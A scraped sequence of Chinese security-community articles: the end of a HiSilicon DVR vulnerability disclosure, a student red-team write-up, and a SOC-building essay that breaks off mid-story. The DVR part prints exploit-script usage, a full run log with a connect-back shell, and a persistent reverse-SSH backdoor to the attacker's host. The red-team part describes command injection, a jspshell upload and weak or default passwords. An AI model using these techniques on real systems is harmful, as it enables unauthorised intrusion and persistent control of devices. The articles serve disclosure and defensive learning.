Referenced: 4 kB
Anonymous: 4 kB
AnonHugePages: 0 kB
Swap: 0 kB
KernelPageSize: 4 kB
MMUPageSize: 4 kB
Locked: 0 kB
...
这只是一页，该列表包含约150页。
看看上面的结构（注意页面大小，模式等），我们可以猜测哪一个包含所需线程的堆栈。堆栈与基址的偏移量是常量（它是0x7fd3d8）。
猜测内存页面的片段：
def guessregion(smaps):
for t in range(len(smaps)-7, 1, -1):
if (smaps[t][1][0], smaps[t+1][1][0], smaps[t+2][1][0], smaps[t+3][1][0], smaps[t+4][1][0], smaps[t+5][1][0], smaps[t+6][1][0]) == (8188, 8188, 8188, 8188, 8188, 8188, 8188) and
smaps[t][1][1] == 4 and smaps[t+1][1][1] == 4 and smaps[t+2][1][1] == 4 and smaps[t+3][1][1] >= 8 and smaps[t+4][1][1] >= 4 and smaps[t+5][1][1] >= 4 and smaps[t+6][1][1] >= 8:
return (t+3)
return (-1)
其中 `smaps[t][1][0]` is 是第`t`整页的大小，`smaps[t][1][1]`是相关的RSS。
该片段是完整漏洞利用脚本的一部分。有关脚本的简要介绍：
$ ./pwn_hisilicon_dvr.py -h
usage: pwn_hisilicon_dvr.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST
[--lport LPORT] [--bhost BHOST] [--bport BPORT]
[-n] [-i] [-p] [-u] [--offset OFFSET]
[--cmdline CMDLINE]
exploit HiSilicon DVR devices
optional arguments:
-h, --help show this help message and exit
--rhost RHOST target host
--rport RPORT target port
--lhost LHOST connectback ip
--lport LPORT connectback port
--bhost BHOST listen ip to bind (default: connectback)
--bport BPORT listen port to bind (default: connectback)
-n, --nolisten do not start listener (you should care about connectback
listener on your own)
-i, --interactive select stack memory region interactively (rather than
using autodetection)
-p, --persistent make connectback shell persistent by restarting dvr app
automatically (DANGEROUS!)
-u, --upload upload tools (now hardcoded "./tools/dropbear" in script)
after pwn
--offset OFFSET exploit param stack offset to mem page base (default:
0x7fd3d8)
--cmdline CMDLINE cmdline of Sofia binary on remote target (default
"/var/Sofia")
## post-exploitation
我们能用这个RCE做什么？一切。请记住，这是一个未经授权的RCE，它只使用网络服务端口80/tcp。这个端口通常被转发到外部，所以如果攻击者利用这个RCE访问接口，他就可以访问内部局域网。
我们的攻击脚本有一些很好的特性，比如它可以上传（以前编译过的）工具到受害者设备。
如果我们想创建一个持久、稳定的后门，我们可以上传一个Dropbear，让它在本地监听，并向外部打开一个反向SSH隧道。有了这种架构，就可以随时随地登录DVR设备。
$ ./pwn_hisilicon_dvr.py --rhost 192.168.88.127 --lhost 192.168.88.100 -p -u
[*] target is 192.168.88.127:80
[*] connectback on 192.168.88.100:31337
[+] assembling shellcode: done. length is 104 bytes
[+] identifying model number: MBD6804T-EL
[*] exploiting dir path traversal of web service to get leak addresses
[+] getting pidlist: found 35 processes
[+] searching for PID of '/var/Sofia': 610
[+] getting stack section base: 0x5a47a000
[*] shellcode address is 0x5ac773ec
[*] exploiting buffer overflow in web service url path
[*] remote shell should gained by connectback shellcode!
[+] Trying to bind to 192.168.88.100 on port 31337: Done
[+] Waiting for connections on 192.168.88.100:31337: Got connection from 192.168.88.127 on port 44330
[+] Opening connection to 192.168.88.127 on port 80: Done
[+] Receiving all data: Done (204B)
[*] Closed connection to 192.168.88.127 port 80
[+] restarting dvr application: Done
[+] uploading tools to /var/.tools: dropbear
[*] Switching to interactive mode
$ cd /var/.tools
$ ln -s dropbear ssh
$ ln -s dropbear dropbearkey
$ ./dropbearkey -t ecdsa -f dropbear_ecdsa.key -s 256
Generating key, this may take a while...
Public key portion is:
ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDMcXlCTZfC3ZskLdbjfUSkDvcZCrKd/t8a3ftsfL2EkHlQ/faElTfzACkM8ETw1Z1CH0iLXMznxqzZ4PvvJOk0= root@LocalHost
Fingerprint: md5 55:5e:4c:df:9c:89:4c:cd:2c:47:85:52:ff:5b:b7:48
$ ./dropbear -r ./dropbear_ecdsa.key -p 127.0.0.1:22
$ ln -s dropbear dropbearconvert
$ cat <<EOF > id_rsa
-----BEGIN RSA PRIVATE KEY----- ...
...
...
-----END RSA PRIVATE KEY----- $ ./dropbearconvert openssh dropbear id_rsa id_rsa.dropbear
$ ./ssh -i ./id_rsa.dropbear -N -f -T -R 2322:localhost:22 dropbear@192.168.88.100
现在可以使用SSH通过反向隧道访问设备：
$ ssh -p2322 root@localhost
root@localhost's password:
BusyBox v1.16.1 (2013-07-18 14:40:04 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
Welcome to Monitor Tech.
[root@LocalHost /]$
# 总结
以下是已记录的漏洞：
漏洞 | 风险 | 服务 | 发现 | 碰撞
---|---|---|---|---
硬编码（后门）telnet密码 | 高 | 23 / TCP | 其他人 | 每个可以访问telnet接口的人都可以完全控制设备，即使用户设置了合适的密码
任何应用程序帐户的root shell访问权限 | 高 | 9527 / TCP | 作者 |
任何拥有任何类型的应用程序帐户并可以访问服务控制台的人，都可以将权限提升到对设备的完全( shell )控制
**后门应用程序密码** | 危急 | 80 / tcp，554 / tcp | 作者 |
任何人都可以作为应用程序管理员访问设备，即使用户已经设置了强密码来保护设备
**内置Web服务器中的缓冲区溢出** | 危急 | 80 / TCP | 作者 |
利用缓冲区溢出，攻击者可以在设备上获得根远程代码执行(不需要授权)，安装后门、恶意软件和其他恶意内容
目录遍历 | 高 | 80 / TCP | 其他人和作者 | 未经授权的读取访问设备上的所有内容（例如记录流），也有助于利用缓冲区溢出
如果有人认为只有这个“Seculink”品牌的设备受到这些严重漏洞的影响，那就错了。受影响设备的范围非常大。用这种硬件制造的每一个设备都是易受攻击的。这些设备与名为“Sofia”的二进制应用程序共享(几乎)相同的固件。上述漏洞（甚至全功能脚本）在许多不同的硬件上几乎不需要修改就能可靠地工作。
以下是受影响品牌的（不完整）列表：
[http://www.vacron.com/products_CCTV_dvr.html
](http://www.vacron.com/products_CCTV_dvr.html)
[http://www.gess-inc.com/gess/dvrs/ ](http://www.gess-inc.com/gess/dvrs/)
[http://www.jufenginfo.com/en/product-list.php?cid=10&pid = 166＆parid = 175
](http://www.jufenginfo.com/en/product-list.php?cid=10&pid=166&parid=175)
[http://egpis.co.kr/egpis/product.php?category=AHD&category2=AHD_D
](http://egpis.co.kr/egpis/product.php?category=AHD&category2=AHD_D)
[http://optimus-cctv.ru/catalog/ahd-videoregistratory ](http://optimus-cctv.ru/catalog/ahd-videoregistratory)
[http://www.clearcftv.com。 br / linha.php？l = 5＆ln = ahd
](http://www.clearcftv.com.br/linha.php?l=5&ln=ahd)
[http://click-cam.com/html2/products.php?t=2 ](http://click-cam.com/html2/products.php?t=2)
[http://www.ccd.dn.ua/ahd-videoregistratory.html ](http://www.ccd.dn.ua/ahd-videoregistratory.html)
[http：/ /www.dhssicurezza.com/tvcc-ahd/dvr-ahd-720p/
](http://www.dhssicurezza.com/tvcc-ahd/dvr-ahd-720p/)
[http://www.gigasecurity.com.br/subcategoria-gravadores-de-video-dvr
](http://www.gigasecurity.com.br/subcategoria-gravadores-de-video-dvr)
[http://www.luxvision.com.br/ category / dvr-ahd /
](http://www.luxvision.com.br/category/dvr-ahd/)
[http://www.yesccd.com/?products/DigitalVideoRecorder.html
](http://www.yesccd.com/?products/DigitalVideoRecorder.html)
<http://www.tvzsecurity.com.br/produtos/31/Stand-Alone>
[http://showtec.com.br/dv-stand-alone/ ](http://showtec.com.br/dv-stand-alone/)
[http://www.ecotroniccftv.com.br/index.php
](http://www.ecotroniccftv.com.br/index.php)
[http://starligh.com/cctv/grabadoras.html
](http://starligh.com/cctv/grabadoras.html)
[http：// www。 activepixel.us/ap-0404-ahd.html
](http://www.activepixel.us/ap-0404-ahd.html)
[http://j2000.ru/cat/DVR/ ](http://j2000.ru/cat/DVR/)
[http://partizan.global/product/ahd-video-surveillance/ahd-dvrs.html
](http://partizan.global/product/ahd-video-surveillance/ahd-dvrs.html)
[http：// kenik。 pl / index.php / tag / rejestrator /
](http://kenik.pl/index.php/tag/rejestrator/)
[http://www.redebsd.com.br/categoria-25-gravacao-digital
](http://www.redebsd.com.br/categoria-25-gravacao-digital)
[http://www.idvr.com.br/produtos-index/categorias/2374896/dvr___ahd_lancamento
.html ](http://www.idvr.com.br/produtos-index/categorias/2374896/dvr___ahd_lancamento.html)
[http://www.visagems.com.br/prd.asp?idP=1119575
](http://www.visagems.com.br/prd.asp?idP=1119575)
[http://www.braskell.com.br/dvr.html ](http://www.braskell.com.br/dvr.html)
[http://www.segvideo.com/segvideo/nvr- hvr.html
](http://www.segvideo.com/segvideo/nvr-hvr.html)
[http://www.neocam.com.br/cameras-cftv/stand-alone
](http://www.neocam.com.br/cameras-cftv/stand-alone)
<http://www.venetian.com.br/categoria/dvr-hvr-04-canais/>
[http://www.cctvkits.co.uk/oyn-x-orpheus-hdtvi-4-channel-dvr-1080p.html
](http://www.cctvkits.co.uk/oyn-x-orpheus-hdtvi-4-channel-dvr-1080p.html)
[http://ecopower-brasil.com/produto/DVR-HSBS-HSBS%252d3604.html
](http://ecopower-brasil.com/produto/DVR-HSBS-HSBS%252d3604.html)
[http://www.vixline.com.br/vitrine-de-produtos/dvrs/
](http://www.vixline.com.br/vitrine-de-produtos/dvrs/)
[http://aliveelectronics.com.br/category/gravadores-de-video/
](http://aliveelectronics.com.br/category/gravadores-de-video/)
[http://www.issl.com.hk/ CCTV_DVRCYVIEW1.htm
](http://www.issl.com.hk/CCTV_DVRCYVIEW1.htm)
[http://idview.com/IDVIEW/Products/DVR/dvr-Analog.html
](http://idview.com/IDVIEW/Products/DVR/dvr-Analog.html)
[http://www.vonnic.ca/products376e.html?cat=13
](http://www.vonnic.ca/products376e.html?cat=13)
[http://polyvision.ru/polyvision/catalog_gibridnye .html
](http://polyvision.ru/polyvision/catalog_gibridnye.html)
[http://altcam.ru/video/hd-videonabludenie/ ](http://altcam.ru/video/hd-videonabludenie/)
[http://cyfron.ru/catalog/dvr/ ](http://cyfron.ru/catalog/dvr/)
[http://www.t54.ru/catalog/videoregistratory/ahd_analogovye_registratory/
](http://www.t54.ru/catalog/videoregistratory/ahd_analogovye_registratory/)
[http：// www。 hiview.co.th/index.php?mo=3&art=42195125
](http://www.hiview.co.th/index.php?mo=3&art=42195125)
<http://www.kkmoon.com/usb-fan-271/p-s413-uk.html>
[http://qvisglobal.com/ahd-tvi-960h-hybrid ](http://qvisglobal.com/ahd-tvi-960h-hybrid)
[https://www.beylerbeyiguvenlik.com.tr/kayitcihazlari-beylerbeyi.html
](https://www.beylerbeyiguvenlik.com.tr/kayitcihazlari-beylerbeyi.html)
[http://www.novicam.ru/index.php?route=product/ product＆product_id = 429
](http://www.novicam.ru/index.php?route=product/product&product_id=429)
[http://www.espuk.com/uploads/catalogue/HDview%20catalogue%202015.pdf
](http://www.espuk.com/uploads/catalogue/HDview%20catalogue%202015.pdf)
[http://www.ebay.com/itm/SNOWDON-8-CHANNEL-PROFESSIONAL-CCTV-NETWORK-DVR-MACHINE-SYSTEM-H-264-1TB-500GB- / 172250300884
](http://www.ebay.com/itm/SNOWDON-8-CHANNEL-PROFESSIONAL-CCTV-NETWORK-DVR-MACHINE-SYSTEM-H-264-1TB-500GB-/172250300884)
[http://giraffe.by/catalog/tsifrovye-videoregistratory
](http://giraffe.by/catalog/tsifrovye-videoregistratory)
[http://www.winpossee.com/en/list/?17_1.html
](http://www.winpossee.com/en/list/?17_1.html)
[http：// tesamed .com.pl / rejestrator-cyfrowy-vtv-n-1016-vtvision-dvr-16-kanalowy-p-532.html ](http://tesamed.com.pl/rejestrator-cyfrowy-vtv-n-1016-vtvision-dvr-16-kanalowy-p-532.html)
[http://hiq-electronics.ru/videoregistratory ](http://hiq-electronics.ru/videoregistratory)
[http://www.eltrox.pl/catalogsearch /结果/ q = easycam + rejestrator＆顺序=
v_117002＆DIR
=降序](http://www.eltrox.pl/catalogsearch/result/?q=easycam+rejestrator&order=v_117002&dir=desc)
[http://www.x5tech.com.tr/?cmd=UrunListe&GrupNo=265&t=0
](http://www.x5tech.com.tr/?cmd=UrunListe&GrupNo=265&t=0)
[http://bigit.ro/dvr-16-canale-hybrid-full-d1-asrock-as-616tel.html
](http://bigit.ro/dvr-16-canale-hybrid-full-d1-asrock-as-616tel.html)
[http：/ /secur.ua/videonablyudenie/ustroystva-zapisi/dvr/?brand_vreg=1557
](http://secur.ua/videonablyudenie/ustroystva-zapisi/dvr/?brand_vreg=1557)
<http://www.divitec.ru/videoregistratoryi-divitec-idvr/>
总的来说，可以说这些廉价的物联网设备是安全噩梦。作者最近测试的每台设备都有一些严重或关键的漏洞。从测试者的角度来看，这类设备必须分开，这类设备不能与重要的机密数据共享同一个网络。不幸的是，没有真正的机会获得这种固件的补丁更新。
最后，必须指出，这个缓冲区溢出漏洞（利用PoC代码）已经通过[Beyond
Security](https://www.beyondsecurity.com/)的 [SecuriTeam Secure
Disclosure](https://www.beyondsecurity.com/ssd.html)
（SSD）程序公开。供应商（HiSilicon）已于2016年底通过（Beyond
Security）通知，但在漏洞公布之前没有回复（不幸的是，这是很常见的事情）。
2017年2月发布的披露信息可 [在此处获取](https://blogs.securiteam.com/index.php/archives/3025)。 | 社区文章 |
## 记一次红队经历
> 上学期临近考试周的一个下午，学校老师喊我和学弟参与一场红队活动，于是便有了下面的文章
>
> 印象很深的一个攻击目标是英语四六级考试网站....（我要是能打下来还苦逼背单词干什么）
首先开始前期的信息收集工作，利用zoomeye、nmap对目标IP段进行扫描，收集子域名等等。
上面是我在信息收集过程中收集的一些觉得脆弱可能存在问题的站点目标。（红队队员只需要 ~~输验证码试弱口令~~ 发现脆弱目标就好，捡软柿子捏
经过一番测试和批量扫描确定了几个存在漏洞的薄弱点。
##### 公网暴露路由器
当时在zoomeye看到一个很有趣的网页标题：TP-link
xxxx，这不是路由器吗。点击进入后看到这是一个暴露在公网的路由器，密码简单测试了一下，弱口令admin/admin就进入了后台。进来以后发现存在一个`ping`
其他主机的功能，这不是CTF最经典的命令注入吗hhh？前端JS禁用了特殊字符和设置最大长度，发包以后不直接回显结果，burp改包反而不行。利用console把过滤函数改成return
true 并把输入框max_length改长就实现了命令执行，最后是root权限，成功提权。
##### weblogic中间件漏洞
发现几台主机存在CVE-2019-2618 ，直接使用poc上传jspshell拿到最高权限
### hack fun
在对某核心域名的子域名测试时(得分乘10！)发现一个很有意思的站点。
网站页面的url格式如`http://domain/xxxController.do?method`。当试图访问某个controller不存在的方法时，会报错，将所有该controller的方法暴露出来
可以看出这里的逻辑大概是switch/case的样子，访问三个login方法发现竟然存在三个后台！在后台当中有两个默认后台，怀疑这个CMS系统自己留的两个后台模板，存在默认密码但是并没有启用。login1是正在使用的后台，不存在弱口令。
访问login2发现了一个很有意思的接口:重置密码，抓包后发现用post方式请求了loginController的reqInitFlag方法。还注意到网站有很多手册，经过一番查找后在一个手册中找到了默认密码：123qwe???
成功恢复admin密码并进入后台，后台有上传文件的接口，但是貌似没有实现好。后来去这套CMS系统的官网下到源码后找到了任意文件上传漏洞最后拿下shell。
凭借着这个核心系统的*10，我们最后拿到一个中间名次hhh.
## 总结
这次红队经历总的来说十分有意思，给自己积累了不少经验，希望以后能参与更多。
PS：学弟划水几天，恰了烂钱，偷偷看彩虹六号都被我发现了 | 社区文章 |
# SOC异闻录：我和SOC不得不说的故事
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
>
>
>
> 就像是程序员，运维一样深夜”作案(jiaban)”总会遇到一些奇里古怪的事情，好歹我是经历过“大世面”的人，吓住，不可能的，让我们来数数那些在建设SOC遇到的奇怪事。
>
> #### 目录结构
>
> 0x00.关于SOC
>
> 0x01.SOC的产生
>
> 0x02.SOC开始建设
>
> 0x03.SOC稳定运行
>
> 0x04.那些奇怪事
>
> 0x05.SOC建设全过程
>
> 0x06.附录（CheckList）
>
> 致谢
## 0x00.关于SOC
首先，我在这里提到的SOC指的是Security Operation
Center，也就是安全运营中心，和网络上说到的SOC安全管理平台不一样，前者是针对一个组织和团队，是一个Team，后者更偏向于一个工具，这是最本质的区别，而安全运营中心里面有一个非常重要的部分就是日志安全，需要对海量日志进行监控，分析，处理，展现等等，而实现这部分操作的架构或者产品，常常被称之为安全管理平台（SOC，我一般把这个叫做/Sao:K/）,安全运营中心我一般直接称之为SOC/S:O:C/;本文提到的SOC就是安全运营中心。
所以说安全运营中心究竟是什么？每个公司对于职能都有不同的看法，我这里就简单说说我遇到的SOC：
我的安全运营中心（SOC）是一个团队，一个信息安全团队，建立在一个基本准则之上，负责监督和分析企业的安全状况，处置企业的异常情况，让企业的安全走上正轨，随着技术，业务增长完成安全的更新迭代。SOC团队的目标就是通过技术解决方案和强健的一套流程
检测、分析并且响应网络安全事件。安全运营中心通常充当了安全分析师以及管理者的角色，监督全部安全操作。SOC工作人员同组织结构的事件响应团队紧密合作，确保发现的安全问题迅速得到解决。实际上我们也是事件响应团队的一部分。
安全运营中心监控和分析网络、服务器、终端、数据库、应用、网站和其他的系统，寻找可能代表一个安全事件或者攻击的异常活动。负责确保潜在的安全事件能够被正确识别、分析、防护、调查取证和报告。
## 0x01.SOC的产生
SOC团队负责的是正在进行的企业信息安全运营组件，是否参与制定安全策略、设计安全架构或者实施保护措施。安全运营中心人员主要包含安全分析人员，安全领导，安全专家等，SOC共同探测、分析和反馈报告，防止网络安全事件发生。如果能够高级取证分析、密码分析以及恶意软件逆向工程，那就最好了。
而SOC的产生大概有这么几个特点：
1.公司以前没有SOC，是运维，加开发，监控几个部门协同一起做一些日常的维护和处理，后来遇到无法处理的安全事件时，开始请求SOC帮助，由于没有SOC，那么就开始组建呗；
2.公司是子公司，或者公司本身就把安全职能部门算入到了创建初期的团队之中，这里就是一开始就建设SOC团队，其实也是在建设企业安全，包括SIEM事件管理体系和ISMS信息安全管理体系。
我的Team应该是属于第2种，我是在一个炎热的夏天去面试，唠嗑，最后有幸加入到了SOC团队，接下来就开展了一系列大刀阔斧的建设。
## 0x02.SOC开始建设
建立一个组织的SOC的第一步就是清楚地定义包含具体业务的战略目标，且获得全体相关人员的支持。一旦战略开发，基础设施支持这一战略的实现。典型的SOC的基础设施包括防火墙、IPS/
IDS、漏洞检测解决方案、嗅探、安全信息和事件管理(SIEM)系统。技术应该通过数据流、遥测、数据包捕获、syslog和其他方法来收集数据，这样SOC工作人员可以关联和分析数据和活动。安全运营中心也监控网络和端点漏洞以保护敏感数据和符合行业或政府法规。
SOC的关键优势在于通过持续不断的检测分析数据活动，改善了安全事件的检测。通过夜以继日的分析跨组织网络、终端、服务器和数据库的活动，SOC团队确保及时检测和相应安全事件。SOC提供的24/7监控为组织提供了对抗安全事件和入侵的先机，而且无关资源、时间或者攻击类型。
许多安全领导人将更加关注人为因素，而非技术因素，不再依赖一个脚本，而是直接评估和减轻威胁。SOC连续工作管理已知威胁，同时识别新的风险，在风险承受能力范围内满足公司和客户的需求，而防火墙、IPS等技术系统可以防止基本攻击，重大事件上则需要进行人为分析。
为达到最佳效果，SOC必须跟上最新威胁情报，并利用这些信息来改善内部检测和防御机制。SOC消耗的数据来自组织内部和相关信息的外部资源，从而提供洞察威胁和漏洞。这个外部网络情报包括新闻提要、签名更新、事件报告、威胁简报和脆弱性警报，这些都有助于SOC跟上不断发展的网络威胁现状。SOC员工必须为SOC监视工具不断注入威胁情报，保持最新的威胁情报信息，而SOC则必须区分真正的威胁和非威胁。
真正成功的SOC利用安全自动化变得更加有效和高效。通过结合高度娴熟的安全分析师与安全自动化，提高组织分析能力，加强安全措施，更好的防止数据泄露和网络攻击。
1.第一阶段：梳理已有的安全防御，整理相关的安全设备管理权限，整理相关的资产；
这里主要是梳理资产，资产应该包括3大部分：组织架构和人员，基础设施资产，应用系统资产
很好理解，组织架构，人员一般前期主要针对经常关联的那些人员，账户信息，变更审核等等，然后人事变更和人事那边做好联系；基础设施资产主要是硬件服务器，网络设备，安全设备等等；应用系统资产就是业务系统，环境划分与安全域，业务流向。这里没有大多的技术含量，处理的越仔细越详细，越有条理越好。
2.第二阶段：进行全网安全状态分析；
这里主要是针对之前的安全措施进行补充，将不足的安全项进行提交，然后开始在监控，运维，系统管理的协助下，对全网的环境开始进行基线扫描，漏洞扫描，数据分级保护，ISMS体系建设等等。
3.第三阶段：持续监控和应急处置
在全网基线合规，漏洞基本修复和处理的情况下，开始对全网的状态进行严苛监控，一般来说，会涉及账户信息管理：特权账户的使用和通告，非工作时间的登陆审查，；变更管理：审计变更合规与否；IPS，IDS，WAF等安全设备状态监控和日志分析，服务器日志分析，这里就是着重使用SIEM安全信息事件管理平台的地方了，这里一般会用上我之前说的SOC/Sao:k/工具，一般有钱就直接买大型互联网安全厂商的产品和服务，没钱就自建日志分析平台，一般采用的是OSSIM或者ELK日志架构。
Elasticsearch是个开源分布式搜索引擎，它的特点有：分布式，零配置，自动发现，索引自动分片，索引副本机制，restful风格接口，多数据源，自动搜索负载等。
Logstash是一个完全开源的工具，他可以对你的日志进行收集、过滤，并将其存储供以后使用（如，搜索）。
Kibana 也是一个开源和免费的工具，它Kibana可以为 Logstash 和 ElasticSearch 提供的日志分析友好的 Web
界面，可以帮助您汇总、分析和搜索重要数据日志。
基本上到这一步，都是对特定的安全需求做精细化处置，开始做安全自动化，不断的调优，然后根据实际情况，反个黑产，反个链接，做点舆情监控，来个威胁模型分析，业务量足够大可以建设一下APT防御，千万别忘记建设安全知识库，不过有些工作还是要从建设初期就开始，就比如自动化和知识库，需要一定的积累才行。
## 0x03.SOC稳定运行
在SOC建设完之后，基本上整个SOC稳定运行，日志想怎么看就怎么看，这样不够精细咋们就调，账户管理，权限变更，变更审计有条不紊，就该对整套SOC团队建设完成的SIEM安全事件管理系统进行定期的巡检和维护，因为所有的安全监控都是基于这一套安全检测和监控系统，如果系统自身出现了问题，如何区保障监测的可靠性，一般的操作有：
1.巡检，定期的巡检检查SIEM系统的运行情况，比如物理状态，服务情况等等。
2.季度重启，保障SIEM服务器能够满足故障恢复的基本要求。
3.日志存储：定期检查日志保存情况。
此外需要注意的是，如果前期收集日志是一通收，也就是说日志没有做分类，需要后期区进行分类，也就是需要了解你能收到什么类型的日志，然后再SIEM展现的平台做好相关的关联和汇总，越清晰越好，一般来说，按照产品来区分，产品之下再分应用，安全，信息类日志等。
## 0x04.那些奇怪事
### 4.1.”时间”幽灵
是日，周五也；Duke看到18点左右，就准备收拾东西回去，下班回家，临走之前将之前其他部门申请的权限及时分配下去，以便周末变更之用。就这样Duke按时的回去了。
时间过的很快，周末眨眼间就没了，周一回来之后，Duke对几个监控频道迅速的review，主要是针对特权账户登陆，非工作时间登陆，主频道（高危事件），活动频道（一般事件），查看的时间是从上周五9点-这周一9点，Duke快速review中，忽然，他发现，在特权账户登陆和非工作时间登陆中出现几条鲜红的事件：
20171215 03:34 路人甲 login 192.168.1.1 root 192.168.7.1 ….
20171215 04:10 路人甲 login 192.168.1.1 root 192.168.7.1 ….
20171215 04:22 路人甲 login 192.168.1.1 root 192.168.7.1 ….
Duke瞬间觉得不对劲了，立马咨询了一下周五变更的小伙伴，然后他们都说周五9点左右就离开了，变更早就做完了（一点都不按套路出牌，说好的周末变更）；然后Duke就觉得是不是机器被黑了，我的天，然后他开始去查历史登陆记录，last发现在192.168.7.1上发现了上面三个登陆事件，而且都是一个地址，终端，登陆账号的确是root，然后他去查近期的root所有的操作，查看了root的.bash_history发现了一些操作，然后从堡垒机进行进一步的操作分析，发现当时的操作并没有什么不对，都是一些重启服务，打包文件的操作，重启服务？
Duke查看了crontab和checklist
`crontab -u <-l, -r, -e>`
然后Duke又查看了几个可疑进程：
`for pid in $(pgrep进程名称); do echo -n "${pid} " ; ps -p ${pid} -o lstart | grep
-v "START" ; done`
再查看了几个进程的启动时间：
`for pid in $(pgrep async); do echo -n "${pid} " ; ps -p ${pid} -o lstart |
grep -v "START" ; done`
最后查看了进程的关联IP：
`netstat -anp | grep进程ID`
没毛病啊，老铁，Duke有点拿这3条事件没办法，但是它的颜色是那么的鲜红，然后他又去堡垒机查看了一下操作录屏，然后，他发现，堡垒机录屏的事件分别是19：34；20：10；20：22；
唉，这个时间好像对的上，然后那这个时间去咨询了一下运维和监控的小伙伴，确定变更时间，的确是这三个时间，那问题是？
服务器的时钟可能没有同步，所以产生的日志源有问题，Duke立马去查看了192.168.7.1的时间，果然，现在的时间比真实时间慢了14h，我的天，然后直接和系统管理员联系，通过NTP对所有的服务器的时间进行同步了。
总结：不论是平时的业务还是办公，或者是SIEM建设，日志和攻防的基础都是时间差，也就是说，时间越同步越精确，你的事件处理越准确越高效。
### 4.2.死灰复燃的亡魂
Scott大哥来到监控室，悄摸摸的对我们说：
“等会下班有事么？”
“没啊？哥，请吃饭？”
“吃啥啊？服务器中勒索病毒了，快来看！”
“这么新奇？我都没见过中病毒的服务器欸，我要看”
“。。。。。。”
就这样我们下班留了下来，留下来的Duke和Felix看着Feng大佬和其他大佬们，然后我们小脑袋不断的思考，这特么啥玩意，我得看看。
然后，Duke对邮箱地址做了检索，然后去查找最近勒索病毒的一些公告，最后发现，这尼玛好像可以挖矿
“哥，这玩意好像可以挖矿诶？”
“就你话多”
“。。。”
Duke查了一下，发现这病毒叫Arena，中文名叫艾瑞娜，好名字，不得不说，然后我们发现了一些东西：Trojan.Gen.2和PUBA.Bitcoinmine病毒，其实一开始我就看成了PUBG挖矿病毒了，嘿嘿嘿，然后进一步查看安全日志和预警信息，发现在C盘还有这玩意：Heur.AdvML.B病毒，路径在user账户appdataroamingmicrosoftwindowsstart，啥都别说了，先干掉这些玩意，然后我建议看下任务管理器，我也觉得这是个好主意：
“占用率不错啊，70%了”
(￣▽￣)”
发现这病毒还通过OneDrive传输文件出去，然后我们发现了一个国外的IP，再查查，看看这个撒比（dalao）还干了啥。然后发现账户区域多了一个奇怪的账户，这里我们可以创建一个类似的账户以便去以假乱真，然后还等着干嘛，干掉那个新账户，接着我们发现最早是一个普通账户，我们把他叫做Disco吧（普通的Disco）；出现了异常登陆，登陆地址是美国，
“我们有美国的子公司么？”
“瞎说，不存在的”
“那这个？”
“干掉”
然后我们把病毒处理了，中毒机器的账户密码改了，系统还原了，处理完就回去了。
若干天后（一个礼拜左右吧）
微信传来了一个消息：
“192.168.1.1服务器状态满了”
“这么厉害的吗？我看看”，“卧槽，真满了”，”机器应该是闲着没事做，挖矿了“
”就你话多“
然后我还能怎样？我还怎么样？排查呗，然后经过大佬Feng和我们的排查发现，又是那个普通的Disco在普通的挖矿，哎哟，(￣y▽,￣)╭
，你还死灰复燃了，不对，这次好像换了个机器=。=
我去，这不是机器漏洞，这是弱口令啊。
”对“
”对的“
然后我们又给机器来了一套全面按摩（检查），检查完，发现，账户没有新建，然后就是在挖矿，也没有勒索我（这次低调了），然后OneDrive泥煤还是开着的，然后我们就干掉了它，还原镜像，然后我说：
”要不我们把所有账户全部统计一下，然后把Disco都重置了？“
”工作量有点大“
”=。=“
”搞呗“
就这样，我们把整个区域的Disco全部干掉了，你说你是Disco我会爱你么？干掉。不存在的
总结：账户管理要到位，所有的账户必须通过堡垒机进行管控，特权账户必须申请，审批后授予，然后需要及时收回，同时对操作要按时做审计，最后弱口令一点要干掉。偷偷告诉你们我见过的一些弱口令啊：
1qaz[@WSX](https://github.com/WSX
"@WSX"),qwer1234,1qaz[@WSX](https://github.com/WSX
"@WSX")#EDC,什么嘛，当我没有字典嘛，分分钟给你爆了
### 4.3.你的能量超乎你的想象
”Duke，去吧SIEM重装一下，然后写一份手册“
”OjbK“
然后我就找包，拷贝，上传，一气呵成，准备开始我的丰功伟业：重装SIEM，并记录过程。
唉，开始呗，在这之间我遇到好多事情的，我跟你们说，最奇葩的在后面
我兴奋的拿着我root账户，噼里啪啦一梭子下去，配置？不存在的，直接回车，然后提示我：
ulimit too small，然后建议我改成4096
然后继续操作，回车到最后设置一个登陆账户，我设置完了后，准备去检查一下我可爱的服务，然后我进入到了/etc/init.d
啥，你告诉我没有这个服务，然后我只能打开我那些user config book啊，然后我找了好久都没有找到相关的故障报错的信息。
我想，我可能需要再来一次，然后我删除了组件，重新开始了安装，然后我发现最上面有一对小字：please install tools through
Disco，啊哈？啥，用普通用户啊
我只好用Disco再来一遍，果然，服务起来了
后来我去检查了一下，我们可爱的SIEM（外国血统哦）需要使用普通用户创建服务，这样服务才能创建成功，那是不是root就不行了，不是，只是root不是默认的，我在最后面又看到了一排小字：
if you use root install as service，please run this command：
玛耶，你这不是刁难我胖虎近视么。
总结：有的时候你发现你的权限过大，这其实并不是一件好事，需要的时候再去获取或许是个更好的选择，因为权限过大也可能会出事，另外就是，别忽略小字
### 4.4百鬼夜行
夜半时分，为何蜜罐Honey会出现在其他区域，深夜十分，Honey为何不洗洗睡呢，要想知道为何Honey夜晚熬夜修仙，请慢慢看下去。欢迎准时收听：百鬼夜行—蜜罐
正文：
夜晚凌晨3点整，Felix正在梦乡，SZ夜晚的星空是那么的明媚，天空有几朵云朵飘荡着，夜猫子般的没有散去，可能正是应了一句话：月黑风高杀人夜，当然，这里没有命案；
一个浑身漆黑的影子在服务器A区域（安全域A）起来了，这么晚了，Honeypot小姐姐还没有睡，她神情麻木的游荡着，用简单一些的话来说，她梦游了，要叫醒他么？
A.叫醒
B.不叫醒
C.你就是一叙事人，叫啥叫
我当然是选择C啦，这么晚不睡，等着猝死吧。HoneyPot，简称Honey，我们Honey依然没有察觉自己在梦游，她仿佛很开心，一会儿在通往服务器B区域（安全域B，简称B区）瞧瞧，一会儿在C区瞧瞧，飘过来，飘过去的。然后Honey不知道从哪哪来的钥匙，开始去打开B，C甚至D，E等其他区域的门，门牌上写着445，有的可能写着443，有的可能写着135，138啥的，总之，Honey去开门了，开门？我又不在，开门干啥，肯定不是迎接我。
